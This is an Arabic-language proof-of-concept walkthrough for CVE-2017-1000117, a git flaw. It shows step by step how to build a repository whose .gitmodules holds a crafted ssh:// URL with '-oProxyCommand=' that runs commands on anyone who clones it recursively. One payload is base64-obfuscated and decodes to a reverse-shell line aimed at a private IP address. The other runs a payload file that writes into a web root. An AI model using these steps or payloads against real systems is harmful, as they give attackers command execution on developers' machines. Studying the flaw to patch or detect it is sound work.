
يمكن للجهات الخبيثة استغلال روابط "ssh://…" المُعدّة بمكر لدفع الضحية إلى زيارة الرابط الخبيث عند تنفيذ برامج أو عمليات أخرى، مما يحقق تنفيذ الأوامر. يمكن وضع هذا الرابط داخل ملف .gitmodules في مشروع git، وعندما يقوم الضحية بعملية git clone --recurse-submodules أو git clone --recursive لمشروع ما، يحدث الخلل الأمني.
الإعداد المسبق:
في سطر أوامر لينكس اكتب: printf 'a' >> /tmp/pwned.txt ستجد أنه تم إنشاء ملف pwned.txt داخل مجلد tmp بمحتوى a
git init
git remote add origin https://github.com/leezp/CVE-2017-1000117.git
git pull origin master
git submodule add https://github.com/leezp/CVE-2017-1000117.git sub1
([submodule "sub1"] path = sub1 url = https://github.com/leezp/CVE-2017-1000117.git //تم إنشاء مجلدين فرعيين تابعين هما sub1 و name2)
git submodule add https://github.com/leezp/CVE-2017-1000117.git name2
git add .
git commit -m '1'
git push -u origin master
هناك طريقتان للإنشاء:
الطريقة الأولى:
افتح ملف .gitmodules وعدّل المحتوى (يكفي تعديل الأول فقط، لأنه لن يتم تنفيذ سوى الـ exp الموجود في أول submodule؛ أما إنشاء اثنين فسببه أن إنشاء واحد في بعض الأحيان لا ينفّذ، والسبب الدقيق لم نرغب في دراسته كثيرًا)
[submodule "name1"]
path = name1
url = ssh://-oProxyCommand=printf cHJpbnRmICJiYXNoIC1pID4vZGV2L3RjcC8xOTIuMTY4LjI1NS4xNTMvMjMzMyAwPiYxIDI+JjEgIiA+PiAvdG1wL3F3ZXI= | base64 -d | sh /bar
[submodule "sub2"]
path = sub2
url = https://github.com/leezp/CVE-2017-1000117.git
(التفاصيل في ملف .gitmodules.bak1)
الطريقة الأولى لا تحتاج إلى ملف payload
الطريقة الثانية:
افتح ملف .gitmodules وعدّل المحتوى (يكفي تعديل الأول فقط)
[submodule "sub1"]
path = sub1
url = ssh://-oProxyCommand=sh<payload/wat
[submodule "name2"]
path = name2
url = https://github.com/leezp/CVE-2017-1000117.git
(التفاصيل في ملف .gitmodules)
هذه الطريقة تتطلب ملف payload، وقد أدخلنا في ملف payload ما يلي: printf 'sss' > /var/www/html/vul
ملاحظة طريقة git clone يجب أن تكون بإحدى الصيغتين:
git clone --recursive url
git clone --recurse-submodules url
أما استخدام git clone فقط فسيقوم بالتنزيل العادي دون إنشاء ملفات إضافية، لذا فإن شروط تفعيل الثغرة صارمة نسبيًا.